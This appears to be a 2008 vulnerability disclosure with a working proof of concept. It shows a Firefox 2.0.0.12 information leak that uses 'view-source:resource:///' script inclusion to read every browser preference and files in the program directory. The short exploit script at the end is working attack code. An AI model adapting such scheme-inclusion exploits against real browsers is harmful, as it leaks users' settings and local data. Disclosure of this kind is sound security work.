firefox20012-poc.txt

`Don't blame the extension developers this time :)  
  
You probably thought otherwise after they just released version  
2.0.0.12. a couple of hours ago, that had a fix for numerous other  
vulnerabilities. But guess what? we are going to see 2.0.0.13 pretty  
soon I guess. I snared at Mozilla before: don't patch vulnerabilities  
for fifty percent, take the time and fix the cause. Because directory  
traversal through plugins is all nice and such, we don't need it. We  
can trick Firefox itself in traversing directories back. I found  
another information leak that is very serious because we are able to  
read out all preferences set in Firefox, or just open or include about  
every file stored in the Mozilla program files directory, and this  
without any mandatory settings or plugins.  
  
In the vulnerability we make use of the 'view-source:' scheme that  
allows us to source out the 'resource:' scheme. With it, we can view  
the source of any file located in the 'resource:///' directory, which  
translates back to: file:///C:/Program Files/Mozilla Firefox/. Then we  
only include the file inside it and it becomes available to a new  
page's DOM, and so we are able to read all settings.  
  
Other issues can emerge also, this is only a short-hand proof of  
concept. Like always, more is possible. While chatting with Gareth  
Heyes, I came up with the vector in a couple of minutes. We talked  
about more issues which we probably are going to discuss very soon.  
  
<script>  
  
/*  
@name: Firefox <= 2.0.0.12 information leak pOc  
@date: Feb. 07 2008  
@author: Ronald van den Heetkamp  
@url: http://www.0x000000.com  
*/  
  
pref = function(a,b) {  
  
document.write( a + ' -> ' + b + '<br />');  
  
};  
  
</script>  
  
<script src="view-source:resource:///greprefs/all.js"></script>  
  
`